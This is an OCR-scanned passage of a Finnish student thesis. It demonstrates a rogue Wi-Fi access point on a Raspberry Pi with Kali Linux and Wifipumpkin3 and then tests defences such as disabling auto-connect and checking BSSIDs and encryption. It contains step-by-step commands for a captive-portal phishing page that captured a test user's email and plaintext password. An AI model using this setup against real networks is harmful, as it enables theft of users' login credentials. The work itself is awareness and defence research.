rinnalle samanniminen verkko, voidaan hamata kayttajaa luulemaan, etta kyseessa on aito verkko.
Kuvitellaan esimerkiksi tilanne, jossa oppilaitoksessa on kaytdssa Wi-Fi-vierailijaverkko, joka vaatii
kayttdjan kirjautumisen omia, olemassa olevia, kayttajatunnuksia kdyttden. Kun luodaan varsinai-
sen verkon rinnalle samanniminen verkko, jossa kirjautumisikkuna nayttaa samalta kuin varsinai-
sen verkon, kayttaja syottaa tajuamattaan omat kirjautumistietonsa Rogue Access Pointin haltijan

nakyville ja han voi sen jalkeen kayttaa niitda haluamallaan tavalla.

4.4 Asennus

Ensimmaiseksi asennetaan muistikortille Kali Linux-kayttojarjestelma. Kali Linuxin virallisilta sivuilta
saa ARM-imagen, joka on suunnattu mikroprosessoreille eli se soveltuu juuri Raspberry Pi:lla kdy-

tettavaksi. Vaihtoehtoja olisivat esimerkiksi virtuaaliymparistot ja puhelin. Mikali tietokoneessa on
paikka muistikortille, asennuksen voi suorittaa suoraan siihen. Tassa vaihtoehtona olisi myds esim.

ulkoinen SD-kortin lukija.

Kun Kali Linux on ladattu, voidaan muistikortti liittda Raspberry Pi:hin. Aluksi Raspberry Pi:hin tay-
tyy kytked myo6s ndyttd, nappaimisto ja hiiri, jotta voidaan laittaa sen asetukset kuntoon SSH-

yhteyden muodostamista varten.

Rogue Access Point toteutetaan Wifipumpkin3 -tydkalulla, joka voidaan asentaa seuraavaksi. Tassa

vaiheessa tyokalu on kdyttovalmis.
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Demon tavoitteena on imitoida kayttdjan kirjautumista jo olemassa olevaan vierasverkkoon, esim.
oppilaitoksen salasanalla suojattuun langattomaan verkkoon. Yleisesti tallaiseen verkkoon kirjau-
dutaan omilla henkilokohtaisilla tunnuksilla. Mikali kdyttaja kirjautuu nailla tunnuksilla luo-

maamme verkkoon, saamme heidadn kayttdjatunnuksensa ja salasanansa nakyviin selkokielisena.

Ensimmaisella kirjautumiskerralla kayttojarjestelmaan paasee sisaan vakiokayttajatunnuksella ja
salasanalla "kali/kali”. Sisaankirjautumisen jalkeen lisatdaan oma kayttaja “m0139” (ks. kuvio 5) ja

muokataan kayttdjan ryhmaa komennoilla:

sudo adduser m0139
sudo usermod -aG sudo m0139

File Actions Edit View Help
[:—(kaliSBRali)-[~]

$ sudo adduser m@139
Adding user "m@139' ...
Adding new group "m@139' (1001) ...
Adding new user "m@139' (1001) with group "m@139° ...
Creating home directory °/home/m0139° ...
Copying files from °“/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for m@139
Enter the new value, or press ENTER for the default
Full Name []: Markus Oksanen
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y

sudo usermod -aG sudo m0@139

Kuvio 5. Oman kayttdjan lisdaminen Linux-kayttojarjestelmaan

Komento ”sudo adduser m0139” yksinkertaisesti lisaa kdyttdjan nimelta "m0139” jarjestelmaan.
Komento “sudo usermod -aG sudo m0139” lisda uuden kayttajan jarjestelmanvalvojien ryhmaan.

Parametri ”-a” lisda ryhman ja ”-G” maarittaa ryhman.
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Jotta jarjestelmaan voi muodostaa etdyhteyden, taytyy asentaa sen kayttoon tarkoitettu RDP-

serveri. Tama tapahtuu komennoilla:

sudo apt-get update

sudo apt-get install xrdp

sudo systemctl start xrdp

sudo systemctl start xrdp-sesman

Ensimmadinen komento "sudo apt-get update” asentaa jarjestelman uusimmat paivitykset. Ko-
mento “sudo apt-get install xrdp” asentaa etdyhteyteen tarvittavan RDP-serverin. Seuraava ko-
mento “sudo systemctl start xrdp” kdynnistda XRDP-kantaserverin. Ja lopuksi komennolla “sudo
systemctl start xrdp-sesman” kaynnistetaan XRDP-serverin istunto manageri (session manager),
joka hallitsee kayttdjien istuntoja todentamalla kadyttdjan ja kdynnistamalla sopivan XRDP serverin.

(Enabling Remote Desktop and SSH access to Kali N.d)

Naiden komentojen syottamisen myota SSH-yhteyden muodostaminen on mahdollista. On kuiten-
kin kdaytannollista, etta XRDP serveri kdaynnistyy aina Raspberry Pi:n kdaynnistyksen yhteydessa.

Tata varten tulee syottaa viela komennot:

sudo systemctl enable xrdp
sudo systemctl enable xrdp-sesman

SSH-yhteyden muodostamiseen tarvitaan jarjestelman IP-osoite. Tama saadaan selville syotta-

malla komento "ifconfig” (ks. kuvio 6). IP-osoitteeksi paljastuu 192.168.1.174.



- | mO0139@kali: ~
File Actions Edit View Help

—% ifconfig
eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.174 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80@::ba27:ebff:fe37:af72 prefixlen 64 scopeid 0x20<link>
ether b8:27:eb:37:af:72 txqueuelen 1000 (Ethernet)
RX packets 67166 bytes 75783684 (72.2 MiB)
RX errors @ dropped 32 overruns @ frame 0
TX packets 41756 bytes 28500941 (27.1 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions ©

Kuvio 6. Oman IP-osoitteen tarkistaminen

SSH eli etdayhteyden muodostamiseen voidaan kdyttaa Windows-kayttojarjestelman omaa "Etatyo-

poytayhteys”-sovellusta (ks. kuvio 7).

& Etatyopoytayhteys — ot

Q: Etatyopoytayhteys

Tietokone: | w |

Kayttajanimi: E maartetty

Kun muodostat yhteytta, sinutta kysytaan tunnistetistoja.

(=) Nayta asetukset | Yhdista Ohje

Kuvio 7. SSH-yhteyden muodostaminen

Yhdistamisen jalkeen eteen avautuu kirjautumisikkuna, johon sy6tetaan aiemmin luodun uuden

kayttajan “m0139” tiedot (ks. kuvio 8).
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Just

connecting

Session [xqu

me [mo130

password [y

Kuvio 8. Linuxiin kirjautuminen SSH-yhteyden avulla

Nyt yhteys on muodostettu ja Kali Linuxin kdyttd onnistuu taysin omalta koneelta (ks. kuvio 9)

etdyhteydella.

Kuvio 9. Onnistunut yhteyden muodostaminen
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Demossa kaytettdavan Wifipumpkin3:n asennus aloitetaan (ks. kuviot 10 ja 11) komennoilla:

sudo apt install python3-pyqt5 hostapd
sudo apt install libssl-dev libffi-dev build-essential

m0139@kali: ~
File Actions Edit View Help

sudo apt install python3-pyqt5 hostapd
[sudo] password for m@139:
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following package was automatically installed and is no longer required:
libc-devtools

Kuvio 10. Wifipumpkin3-ohjelman asennuksen aloitus

= mO0139@kali; ~
File Actions Edit View Help

~

-5 sudo apt install libssl-dev libffi-dev build-essential
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
build-essential is already the newest version (12.9).
build-essential set to manually installed.

Kuvio 11. Wifipumpkin3-ohjelman asennuksen toinen vaihe

Komentojen jalkeen Wifipumpkin3 voidaan asentaa. Asennusta varten on olemassa valmis GitHub-

repositorio, joka voidaan ladata komennolla:

git clone https://github.com/P0cL4bs/wifipumpkin3.git

Latauksen jalkeen tarkistetaan, ettd Wifipoumpkin3 l6ytyy hakemistosta komennolla ”Is” (ks. kuvio

12).


https://github.com/P0cL4bs/wifipumpkin3.git

Kuvio 12. Wifipumpkin3-ohjelman tiedostosijainti

Wifipumpkin3 pitaa vield asentaa, joka tapahtuu komennoilla:

cd wifipumpkin3
sudo python3 setup.py install

Asennuksen jalkeen ohjelma kadynnistetdaan komennolla (ks. kuvio 13):

sudo wifipumpkin3

)= ~/wifipumpkin3
sudo wifipumpkin3
[sudo] password for m@139:
Matplotlib is building the font cache; this may take a moment.

_.00d@OPp._ ,' .~ .q?00doo._
.0d00Pd000OPdb._. . _:db?000b?000bo.
.7000Pd0000Pd000OPdbMb?0000b?000b?0000b .
.d0000Pd000OPd0000OPd0000D?0000b?000b?0000b .
d000OPd0000Pd00000Pd0000D?00000D?0000b?000D .
00000Pd000OPd000OPd0000GD?00000D?0000b?0000b
70000b?0000b? WiFiPumpkin3 00Pd000OPd000OP
70000b?0000b?0000b?00000Pd0000OPd000OPd0OOP
"70000b?0000b?0000b?0000Pd000OPd000OPd000OP "
"7000b?0000b?000b?0000Pd00OPd000OPd00OP
"~?00b?000b?000b?000Pd0OPd00OPdOOP"
"~?20b?0b?000b?0PdOPd0OOPdP~"
codename:
by: amh4x@f - POcL4bs Team | version: 1.0.9
Session id:
Starting prompt ...
>

Kuvio 13. Wifipumpkin3-ohjelma kaynnissa
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5 Demo

Wifipumpkin3:n ollessa kdynnissa, voidaan aloittaa Rogue Access Pointin konfigurointi. Rogue
AP:lle tulee asettaa wlan, verkon nimi (SSID) ja tdman lisaksi otetaan dns login pois kdytosta. Nama

tapahtuvat komennoilla:

set interface wlan0
set ssid testi
ignore pydns_server

Wifipumpkin3:n kdytettavissa olevat moduulit saa ndkyviin komennolla “show” (ks. kuvio 14).

set interface wlan@
set ssid demo_m@139
ignore pydns_server
show

Available Modules:

Name Description

spoof.dns_spoof
wifi.wifideauth
wifi.wifiscan

Perform a dns spoof with accesspoint attack
Sends deauthentication packets to a wifi network AP
Scan WiFi networks and detect devices

|
3+
misc.extra_captiveflask | Extra customs captiveflask templates
|
|
|

> 1

Kuvio 14. Wifipumpkin3-ohjelman moduulit

Aluksi kdaynnistetaan Wifipumpkin3 komennolla:

start

Demo toteutetaan kayttden captiveflaskin sisddnrakennettuja pohjia, jotka saadaan kayttoon ko-

mennoilla:
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use misc.extra_captiveflask
download

Asentamisen jalkeen voidaan tarkastella valmispohjia komennolla (ks. kuvio 15):

list

List-komento listaa kaikki kdytossa olevat valmispohjat.

wp3 : > list

Available Customs CaptiveFlask:

Name Author Installed Preview
mh4xQf
mh4xQf

mh4x@f

example
facebook
microsoft

https://i.imgur.com/PmDXvng.png
https://i.imgur.com/IZmpwQi. jpg

+

+

|

——
| https://i.imgur.com/GOwtAme.png
|

|

Kuvio 15. Wifipumpkin3-ohjelman captiveflask-valmispohjat

Valittavina on kolme eri vaihtoehtoa, joista kaikista on myos nahtavilla kuvat kirjautumissivun ul-
koasusta. Taman lisaksi olisi mahdollista my6s luoda oma kirjautumissivu, niin halutessaan. De-

mossa kdytetddn “example” vaihtoehtoa. Tdma voidaan asentaa kayttoon komennolla:

install example

Valmispohjan asennuksen jdlkeen Wifipumpkin3-ohjelma tulee asentaa vield uudelleen. Asennus

tapahtuu samalla komennolla kuin aiemminkin eli (ks. kuvio 16):

sudo python3 setup.py install



Uudelleenasennus kestaa yhta kauan kuin asennus ensimmaisella kerralla.

How to apply plugins configuration

Now, you need to reinstall the tool,

you have to reinstall on version the python installed,
t's go:

f for python3.:
sudo python3.7 setup.py install

f for python3
sudo python3.8 s¢ .py install

if you running on Kali linux, only need to:
$ sudo python3 setup.py install

have funm! Hack

("/usr/sbin/hostapd”) is still running.

Kuvio 16. Wifipumpkin3-ohjelman uudellenasennus

Wifipumpkin3-ohjelman uudelleenasennuksen jalkeen asetetaan vield captiveflask proxy aktii-

viseksi komennolla (ks. kuvio 17):

set proxy captiveflask
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> set proxy captiveflask
> proxies

Available proxies:

Proxy Active Port | Description
noproxy

pumpkinproxy
captiveflask

8080 [ Transparent proxies that you can use to intercept ...
80 | Allow block Internet access for users until they o...

|
+
[
[
|

|
+
| 80 | Runnning without proxy redirect traffic
|

Captive Portal plugins:

Name | Active
—_—

DarkLogin | True
FlaskDemo |
Login_v4
example
loginPage

Kuvio 17. Captiveflask proxyn asettaminen aktiiviseksi
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Kun captiveflask on aktiivinen, voidaan yksi sen valmiista kayttoliittymista ottaa kayttoon. Tassa
tapauksessa otetaan kayttoon “example” niminen kayttoliittyma ja se tapahtuu komennolla (ks.

kuvio 18):

set captiveflask.example true

> set captiveflask.example true
> proxies

Available proxies:

Proxy Active Port | Description

P———
80 | Runnning without proxy redirect traffic

8080 | Transparent proxies that you can use to intercept
True 80 |

pumpkinproxy

|
o
noproxy |
|
captiveflask |

Allow block Internet access for users until they o...

Captive Portal plugins:

Name | Active

+
DarkLogin |
FlaskDemo |
Login_v4 |
example |
loginPage |

True

|

Kuvio 18. Captiveflaskin "example” -kayttoliittyma kaytossa

Rogue AP kaynnistyy taman jalkeen komennolla:

start

Kun Rogue AP on kaynnissa, puhelin [6ytaa luodun testiverkon, kuten minka tahansa langattoman

verkon ja siihen paastdan yhdistamaan (ks. kuvio 19).
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#Telia-CD2B6F

DNA-Mokkula-2G-LYH218

DNA-Mokkula-2G-Hby7xG

Muljuverkko_EXT

Kuvio 19. Testiverkko kaytettavissa

Kirjautumista varten syotetaan omat tunnukset samaan tapaan kuin oltaisiin kirjautumassa vieras-

verkkoon (ks. kuvio 20).

20.41 DG 51%m

Kirjaudu sisaan kohteeseen testi

Sign in to continue to Bootsnipp

P

m0139@student.jamk.fi

(] Remember me Need help?

Kuvio 20. Testiverkon kirjautumisikkuna
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Kun puhelimesta on kirjauduttu "testi”-verkkoon ohjelma nayttda heti kirjautujan tiedot. Alla ole-
vasta kuvasta nahdaan laitteen MAC-osoite, seka se etta kirjautumiseen on kadytetty Samsung Ga-

laxy S21 Ultra-puhelinta (ks. kuvio 21).

[ ] ©1:45:26 RECV from ('0.0.0.0', 68):
:: Header ::

op: BOOTREQUEST

hwmac: MAC('32:2d:38:

flags:

hops: 0

secs: 0

xid: 1298508766

siaddr: IPv4Address(’
giaddr: IPv4Address(’
ciaddr: IPv4Address(’
yiaddr: IPv4Address(’

sname:

hostname: 'Samsung-Galaxy-S21-Ultra'

requested_1ip_address: IPv4Address('10.0.

dhcp_message_type: DHCP_REQUEST

server_identifier: IPv4Address('10.0.

parameter_request_list: 053:dhcp_message_type, 054:server_identifier
maximum_dhcp_message_size: 1500

vendor_class_identifier: 'android-dhcp-12'

client_identifier: [306, 11576, 26608]

Kuvio 21. Kaapatut tiedot

Taman lisdaksi nahdaan myos kayttdjan kirjautumiseen kayttama sahkopostiosoite, seka salasana

selkokielisend (ks. kuvio 22).

Kuvio 22. Kaapattu sahkdposti ja sen salasana
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6 Tietoturvan kohentaminen

Jokaisen verkon kayttdjan, kuin myds verkon yllapitajan, on syyta tiedostaa Rogue AP:n vaarat.
Valveutuneisuus ja maalaisjarjen kaytto ovatkin yksia tarkeimmista keinosta, kun puhutaan tieto-
turvan kohentamisesta. Verkon kayttdjan tulee olla tarkkana liityttdessa suojaamattomaan verk-
koon. Luvussa 5 kaytiin lapi, kuinka Rogue AP:n haltija voi maaritelld verkolle haluamansa nimen
eli SSID:n. Tasta syysta on syyta kiinnittdaa huomiota siihen, onko tarjolla enemman kuin yksi sa-

manniminen verkko, koska talléin kyseessa voi olla Rogue AP.

Tukiaseman signaalin voimakkuus vaikuttaa myos turvallisuuteen. Paatelaite, esimerkiksi puhelin,

listaa saatavilla olevia verkkoa niiden signaalin voimakkuuden perusteella. Paatelaite voi myos olla
asetettu liittymaan saatavilla olevaan verkkoon automaattisesti. Tasta syysta tukiaseman signaalin
voimakkuutta kannattaa pyrkia tehostamaan. Mikali Rogue Access Pointin signaalin voimakkuus on

parempi kuin varsinaisen tukiaseman, paatelaite voi pyrkia yhdistamaan siihen.

Kayttaja voi kohentaa tietoturvaansa ottamalla automaattisen verkkoon yhdistamisen pois kay-
tosta esimerkiksi tietokoneelta tai puhelimesta. Taman lisaksi Wi-Fi tai WLAN kannattaa kytkea

pois paalta silloin, kun sita ei kayteta. Naita vaihtoehtoja avataan tarkemmin luvussa 6.1.

Verkkoa hallinnoivan organisaation on tarkeaa yllapitda ajantasaista listaa laitteistaan, jotta Rogue
AP:n voi helposti erottaa luotetusta tukiasemasta. Tukiaseman ylimaaraiset portit ja palvelut kan-
nattaa myos ottaa pois kaytosta. (Information Supplement: PCI DSS Wireless Guideline 2009).
Kayttdja voi suojata itsedan vierailemalla vain suojatuilla HTTPS-sivustoilla, seka kayttamalla

VPN:&aa. (Shah n.d.) Kayttajan kannattaa siis tarkkailla vierailemansa sivuston osoiterivia.

Rogue AP voidaan tunnistaa myds Wi-Fi-skannerin avulla, joka pystyy skannaamaan tukiasemille
yksilollisen BSSID-tunnuksen. Siind missa tukiasemalla voi olla kaksi samanlaista SSID-tunnusta,
BSSID-tunnus on aina yksilollinen. Skannauksen jalkeen Rogue AP voidaan fyysisesti paikantaa seu-
raamalla vastaanotetun signaalin voimakkuutta. (Kaleem 2017.) BSSID on kdytdnndssa laitteen
MAC-osoite (Understanding the Network Terms SSID, BSSID, and ESSID 2018). Mikali siis tunnetut

laitteet on listattu, voidaan vieraan laitteen MAC-osoite tunnistaa helpommin ja nopeammin.
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Verkon haltijan tulisi myos pystyttda asianmukaiset palomuurit suojaamaan verkkoa. On tarkeaa
kdyda lapi palomuurin lokitiedostot lapi ja tarkistaa palomuuriin luodut saannot riittavan usein.
Oma tukiasema on myos syyta suojata niin, etta ulkoiset kayttajat eivat paase siihen fyysisesti ka-
siksi. Tukiaseman voi esimerkiksi kiinnittda kattoon ja sen ymparille voi asentaa tukevan suojan.

(Information Supplement: PCI DSS Wireless Guideline 2009.)

On tarkeaa kayda lapi tukiaseman jarjestelmanhaltijan asetukset. Usein tukiaseman oletusasetuk-
sista l0ytyy heikkoja salasanoja, joita on helppo kalastella. Tukiaseman jarjestelmanhaltijan oletus-
kayttajatunnus ja salasana saattavat olla esim. “admin” ja ”11111”. (Information Supplement: PCI
DSS Wireless Guideline 2009.) Tama on luonnollisesti erittdin vakava tietoturvariski, mutta helposti

valtettavissa vaihtamalla tunnukset ja kdyttamalla vahvaa salasanaa.

My0s tukiaseman kdyttamaan suojausmenetelmadn on syyta kiinnittda huomiota ja varmistaa,
mika suojausmenetelma on oletuksena kaytdssa. On ehdottoman suositeltavaa kdyttdaa vahintaan-
kin WPA2-salausmenetelmaa. (Information Supplement: PCI DSS Wireless Guideline 2009.) Salaus-

menetelmia kasiteltiin tarkemmin luvussa 3.9.

Samalla, kun kdydaan tukiaseman jarjestelmanhaltijan asetukset, seka tarkistetaan kdytdssa oleva
suojausmenetelma, on suositeltavaa myos vaihtaa SSID:n oletusnimi. Ei ole kuitenkaan suositelta-
vaa kayttaa omaa organisaatiota mainostavaa tai helposti tunnistettavaa SSID:ta huomion valtta-
miseksi. Yksi vaihtoehto on olla mainostamatta langatonta verkkoa ollenkaan eli piilottaa SSID.
SSID:n piilottaminen ei kuitenkaan ole suoranaisesti turvallisuusmekanismi, silla kokeneempi kayt-

taja voi saada sen silti selville. (Information Supplement: PCI DSS Wireless Guideline 2009.)

Myds Rutledge (2020) toteaa, etta SSID:n piilottamisella on hyvat ja huonot puolet. Hyvana puo-
lena on, etta potentiaalinen hydkkaaja ei valttamatta edes saa tietoonsa, etta téllainen verkko on
olemassa, koska se ei ole nakyvilla. Kokemattomampi hyokkaaja ei valitse kohteekseen tillaista
verkkoa niin todennéakdisesti kuin helpommin saatavilla olevaa. Huonona puolena taas on, ettd mi-
kali kyseessa on kokeneempi hyokkaaja, ei SSID:n piilottamisella ole juurikaan merkitysta, silla
verkko on siitd huolimatta loydettdvissa. “Taalla kaytetaan piilotettua verkkoa”-tyyppinen haaste

saattaa houkutella kokeneempaa hyodkkaajaa. (Rutledge 2020.)
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6.1 Tietoturvan kohentamisen demo

Selvittadksemme tarkemmin aiemmin luvussa 6 kuvattujen suojauskeinojen toimivuutta, testattiin
niita kaytanndssa demoamalla. Demo toteutettiin kotioloissa, mutta sita olisi ollut mielenkiintoista
testata laajemmassa mittakaavassa, esimerkiksi yrityksen toimitiloissa. Laitteina kaytettiin Rasp-
berry Pl:ta, kodin reititintd, sekd omaa Android-puhelinta. Jotta demossa voitiin osoittaa kaytan-
nonldheisesti ja selkeasti laitteiden ja Rogue Access Pointin toimintaa, muokattiin ensin kodin rei-
tittimen asetuksista kodin verkon nimi muotoon “"m0139 _testiverkko”. Kodin verkkoni haltijana
padsen sen asetuksiin selaimen kautta. Taman jalkeen otettiin Rogue Access Point jalleen kdyttoon
kdyttamalld luvussa 5 esiteltyja komentoja. Komennolla ”set ssid m0139_testiverkko” voitiin aset-
taa Rogue Access Pointille sama SSID kuin kodin verkolle, kdaytossa oli siis kaksi taysin samanni-
mista verkkoa. Tosielaman tilanteessa Rogue Access Pointin kayttaja pyrkisi ensin saamaan tie-

toonsa halutun verkon nimen.

Kun Rogue Access Point oli toiminnassa, voitiin kokeilla liittyd molempiin saatavilla oleviin verkkoi-

hin puhelimella. Kuviossa 23 puhelin on liittynyt Rogue Access Pointilla luotuun verkkoon.

Automaattinen yhdistaminen

Kuvio 23. Rogue Access Pointin tietoja
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Kuvasta voidaan havaita kaksi asiaa, ensinnakin turvallisuustasoa eli salausmenetelmaa ei ole maa-
ritelty ja toisekseen automaattinen yhdistaminen on kaytossa. Salausmenetelmia kasiteltiin tar-
kemmin luvussa 3.9. Kayttajan kannattaa siis tarkastaa kayttamaltaan laitteelta, mika on kaytossa
olevan verkon suojausmenetelma ja pyrkia valttdmaan verkon kayttoa, mikali suojausmenetelmaa
ei ole. Tama tieto on suhteellisen helppoa tarkistaa ja tapa siihen vaihtelee hieman laitteesta riip-
puen. Tassa demossa kaytettiin Samsung puhelinta, jossa on Android-kayttojarjestelma. Asetuksen
tarkistaminen onnistuu talloin valitsemalla puhelimesta Asetukset, Yhteydet ja Wi-Fi. Tassa naky-
massa voi tarkastella kdytettavissa olevia verkkoja. Kaytossa olevan verkon asetuksia voi tarkas-

tella painamalla “"hammasrattaan”-kuvaketta, jolloin saa nakyviin Kuvion 23 mukaisen nakyman.

Automaattinen yhdistaminen kannattaa myd&s ottaa pois kaytdsta, mikali haluaa parantaa omaa
tietoturvaansa. Asetus on usein oletuksena paalla. Tama tarkoittaa, etta laite pyrkii yhdistamaan
tahan verkkoon automaattisesti, kun se on sen kantaman sisalla. Jos asetuksen ottaa pois paalta,
kayttdjan tulee valita saatavilla olevista verkoista manuaalisesti se, jota halutaan kayttaa. Tama
osaltaan myds herattelee kayttajaa, mikali han huomaa kantaman sisalla olevan useampia saman-
nimisia verkkoja. Nain voidaan myos estaa laitetta yhdistamasta tahtomattaan mahdolliseen Ro-

gue Access Pointiin.

Kuviossa 24 ndhdaan puhelin liittyneena kodin omaan verkkoon, joka on luotettu verkko. Verkon
asetuksista ndhdaan, etta suojauksena on kaytossa WPA/WPA2-Personal, joka vastaa taman het-
ken suosituksia. Kuviossa nahdaan niin ikdan, ettd automaattinen yhdistaminen on kaytossa. Ase-

tus kannattaa oman tietoturvan parantamiseksi ottaa pois kdytosta.
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mO0139_testiverkko

=

Yhdistetty

erk peus 975 Mbps

O Turvaliisuus WPA/WPA2-Personal
Automaattinen yhdistaminen @

Hallitse reititintd

Kuvio 24. Access Pointin tietoja

Seuraavaksi testattiin signaalin voimakkuuden vaikutusta puhelimen kayttamaan verkkoon. Myos
automaattisen yhdistamisen asetus on tdssa avainasemassa. Kuviossa 25 voidaan nahda molem-
mat saatavilla olevat verkot. Kodin verkko on suojattu, jonka huomaa pienesta lukonkuvakkeesta
signaalin voimakkuuden kuvakkeen paalla. Kun puhelimen Wi-Fin laittaa paalle, se pyrkii auto-
maattisesti yhdistamaan kodin verkkoon, joka on sille entuudestaan tuttu. Demoa varten kasvatet-
tiin kodin reitittimen ja Rogue Access Pointin etdisyytta toisistaan ja sijoitettiin kodin reititin hie-
man piiloon rakenteiden taakse. Metalliset, lasiset ja betoniset rakenteet heikentdvat signaalin
voimakkuutta. Kun puhelimen etdisyytta kasvatettiin tarpeeksi tukiasemista, saatiin tulos, jossa
Rogue Access Pointin signaali on voimakkaampi kuin kodin verkon signaali ja tdma kay ilmi kuvi-
osta 25. Puhelimessa Wi-Fi oli pdalla ja kun se vietiin riittdvan kauaksi tukiasemista, yhteys katkesi
kokonaan. Kun lahestyttiin tukiasemia, puhelin tuli aluksi Rogue Access Pointin tarjoamalle parem-
malle kantamalle ja yhdisti siihen automaattisesti. Myos tama voidaan havaita kuviosta 25. Nain
voitiin todentaa, ettd Wi-Fi kannattaa kytkea pois paalta silloin, kun sita ei oikeasti tarvitse. Myos

verkkoon automaattisesti yhdistaminen kannattaa kytkea pois paalta.
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m0139_testiverkko

Muljuverkko

Muljuverkko_EXT

Lisda verkko

Kuvio 25. Automaattinen yhdistdminen Rogue Access Pointiin

Vastaavanlaisesti kodin verkon signaalia voisi pyrkia parantamaan sijoittamalla reititin paremmin
niin, ettd se on mahdollisimman vahan rakenteiden takana. Signaalin voimakkuutta voisi myos pa-
rantaa erillisilla antenneilla, seka vahvistimilla. Laitteisto ja sen ohjelmisto (firmware) kannattaa

my0&s pitda ajan tasalla.

7 Pohdinta

Olemassa olevien tietoturvariskien vakavuudesta huolimatta, monet Wi-Fi-laitteiden kayttajat ei-
vat valttamatta ole tietoisia niista tai tavoista suojautua niiltd. Tyossa pyrittiin kasvattamaan Wi-
Fin kayttajien tietoisuutta ensin avaamalla syvallisemmin langattomien verkkojen teoriaa ja seura-
vaksi tutkimuskysymysten avulla. Tutkimuskysymyksina esitettiin kuinka Rogue Access Point toimii,
kuinka Rogue Access Pointilta voi suojautua, seka kuinka tukiaseman signaalin voimakkuus vaikut-
taa langattoman verkon tietoturvaan? Naihin tutkimuskysymyksiin haettiin vastausta demonstroi-

malla Rogue Access Pointin toimintaa.
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Tyokaluksi Rogue Access Pointin demonstroimista varten valikoitui Raspberry Pi-pienoistietokone.
Laitevalintaan vaikuttivat kdaytannon syyt, kuten se, ettd Raspberry Pi sattui olemaan helposti saa-
tavilla ja siita 1oytyvat myds tarvittavat ominaisuudet demonstraatiota varten. Taman lisaksi, mikali
mietitddn mahdollista tosielaman tilannetta, Raspberry Pi olisi periaatteessa helppo piilottaa pois

nakyvilta pienen kokonsa vuoksi. Tama tieto osaltaan kasvattaa tietoisuutta mahdollisesta uhasta.

Raspberry Pi:lle oli mahdollista asentaa Kali Linux-kaytt6jarjestelma, joka on suunnattu tietoturvan
testaukseen ja siita |0ytyy tarvittavia tydkaluja harjoituksen toteutukseen. Taman lisaksi kayttojar-
jestelma on ilmainen. Kali Linux my®s toimii hyvin Raspberry Pi:lla, silla sen jarjestelmavaatimukset
ovat melko alhaiset. Kali Linuxille asennettava Wifipumpkin3-ohjelma on niin ikdan ilmainen oh-
jelma, joka on luotu Rogue Access Pointin testausta varten. Wifipumpkin3-ohjelmasta 16ytyy mm.

captiveflask-liitanndinen, joka mahdollisti realistisen testiympariston luomisen.

Varsinainen Rogue Access Point -hyokkaysdemo osoittaa, kuinka helposti varomattoman kayttajan
kirjautumistiedot ovat varastettavissa, mikali han kayttaa niita huomaamattaan Rogue Access
Pointilla luotuun verkkoon kirjautumiseen. Mikali kayttaja ei tiedosta suojaamattomaan verkkoon
liittymisen riskejd, han on potentiaalisesti helppo kohde Rogue Access Point -hydkkayksen toteut-
tajalle. Demon tulokset vahvistivat ajatusta siitd, etta on tarkeaa kasvattaa tietoisuutta langatto-

mien verkkojen tietoturvaan liittyen.

Tietoturvan kohentamisen demolla voitiin osoittaa keinoja, kuinka suojautua Rogue Access Poin-
tilta. Demo osoitti kdytanndssa, kuinka tukiaseman signaalin voimakkuus vaikuttaa asiakaslaitteen
kayttaman verkon valintaan, mikali yksi kuin useampi samanniminen verkko on saatavilla. Asiakas-
laite listaa saatavilla olevat verkot niiden signaalin voimakkuuden perusteella. Taman lisaksi voitiin
osoittaa, ettd Wi-Fi kannattaa kytkea pois paalta silloin, kun sita ei tarvita. Myos automaattinen
liittyminen verkkoon kannattaa kytkea pois paalta. Tuloksina saatiin siis konkreettisia ja kayttokel-
poisia keinoja oman tietoturvan kohentamista varten. Tulokset eivat kuitenkaan osoita kaikkia
mahdollisia suojautumiskeinoja, eivatka valttamatta edes niista kaikkein parhaita mahdollisia,

mutta ne antavat hyvan yleiskasityksen.
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Siind missa tukiaseman signaalin voimakkuuden kasvattaminen vaatii potentiaalisesti rahallista pa-
nostusta, kayttdjia voidaan opastaa olemassa olevista tietoturvariskeista ja toimenpiteet, kuten

automaattisen liittymisen ottaminen pois paalta, on suhteellisen helppoa saavuttaa.

Wireshark -ohjelmalla olisi mahdollista tarkastella tarkemmin 4-suuntaisen kattelyn vaiheita. Tata
yritettiinkin toteuttaa kaytanndssa, mutta ongelmaksi osoittautui sopivan verkkokortin puute. Tar-
kastelu vaatii Wirehark-ohjelman “monitor-moden” kadyttoa, joka puolestaan vaatisi sille sopivan,

erillisen, verkkokortin.

Demonstraatiossa asioita testattiin hyvin pienessa mittakaavassa, joten on mahdollista, etta suu-

remmassa mittakaavassa tulisi vastaan jotakin, mita ei ole voitu pienemmassa mittakaavassa huo-
mioida. Rogue Access Pointin kayttdonotosta todettiin, ettd “se on helppoa”, mutta tassa on hyva
huomioida, etta kaytossa oli yksi captiveflask-lisdosan valmispohjista. Siind missa kyseinen valmis-
pohja on neutraali, eika valttamatta herata huomiota, on todettava, ettd mikali tositilanteessa py-
rittdisiin tdysin samankaltaisen kirjautumisikkunan kayttoon kuin varsinaisessa verkossa, se vaatisi

jonkin verran lisatyota ja osaamista.

Signaalin voimakkuuden vaikutuksia testattaessa voitiin todeta, etta signaalin voimakkuudella on
vaikutusta asiakaslaitteen valitsemaan verkkoon. Tdima demonstraatio ei kuitenkaan maaritellyt
tarkkoja raja-arvoija sille, kuinka suuri kynnys varsinaisen verkon ja Rogue AP:n signaalin voimak-
kuuksilla tulisi olla, jotta asiakaslaite liittyy Rogue Access Pointiin varsinaisen verkon sijaan. Tyon
loppuvaiheilla herasi myos ajatus signaalin voimakkuuden vaikutuksen testaamisesta Windows-
pohjaisella laitteella, mutta sopivan testilaitteen puutteen, sekd ajan loppumisen johdosta tama ei

ollut mahdollista.

Rogue Access Pointilla voidaan testata esimerkiksi yrityksen tietoturvaa, mutta sitd on mahdollista
kayttaa myos haitallisiin tarkoituksiin, kuten demosta kay ilmi. Tietojen kalastelu on silla suhteelli-
sen helppoa ja tarvittavat laitteet ja ohjelmistot ovat helposti saatavilla. Yritysten ja yksityisten
henkildiden kannattaa aina kiinnittdaa huomiota omaan tietoturvaansa. Usein tietoturvan heikoin
